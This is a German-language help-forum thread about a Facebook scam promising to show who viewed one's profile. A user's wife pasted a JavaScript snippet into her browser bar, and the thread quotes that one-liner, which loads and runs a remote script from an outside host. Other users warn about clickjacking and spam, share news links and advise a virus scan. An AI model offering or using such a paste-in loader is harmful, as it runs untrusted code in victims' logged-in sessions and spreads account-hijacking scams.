Facebook Script (Virus) ?

[Der Don]

Hallo
meine Frau bekam im FB eine Einladung auf eine Seite wo sie sehen kann wer alles auf ihrer Seite war. Dazu sollte sie dieses Script in die Browserleiste einfügen, was sie auch gleich gemacht hat.

"javascripta=(b=document).createElement('script')).src='//whospyyou.googlecode.com/files/pad.js?'+Math.random(),b.body.appendChild(a);void(0)"

Was ist das für ein Script, und bekomme ich das wieder weg? War das schlimm?

 

[Scanzy]

Ich hab auch schon öfters die aufforderung gekriegt dies zu benutzen.
War mir aber immer zublöd.
Wenn du bzw. deine Frau Glück hat, ist es "nur" Clickjacking

 

[Whiterose]

Hey, les dir dazu mal die News durch da bekommst schon ein Paar Infos
http://winfuture.de/news,62807.html

 

[tiwa86]

http://www.ariva.de/forum/Neue-gefaehrliche-Spam-Flut-auf-Facebook-439103

 

[UID0]

Der Script verweißt auf einen Script (//whospyyou.googlecode.com/files/pad.js), auch eine Javascript Datei. Ich schätze mal, dass dieser Bösartig ist.

 

[Melvorx]

Haha ja da es per Phishing und co nicht mehr so recht funktioniert wirds jetzt per Facebook probiert - und das wohl noch mit Erfolg.

 

[shrek456]

Lass einfahc mal deinen Virenscanner drüberlaufen sollte der nix finden würde ich mir vorerst keien sorgen machen.(Vielleicht noch Browser-Cache und Cookies löschen^^)

Hab die Anfrage auch schon 10 mal erhalten hab mir den Scriptschnippsel auch angeschaut und der kam mir spanisch vor (ich hab absolut keine Ahnung von Java-Script) hab aber mal gedacht da in Java *.random ne zufallszahl erstellt wird es da auch so ähnlich sein und hab dann einfahc die Finger davon gelassen^^

 

[Der Don]

Danke
Die Links sind sehr hilfreich. Was ich aber noch nicht ganz verstehe ob ich nun schon einen Trojaner usw. drauf habe? Mein Virenscanner und Hijackthis haben nix gefunden,

 

[sven69]

Was auch gut ist: Facecrooks auf FB in suchleiste eingeben. Dort wird man vor neuen SCAMS gewarnt.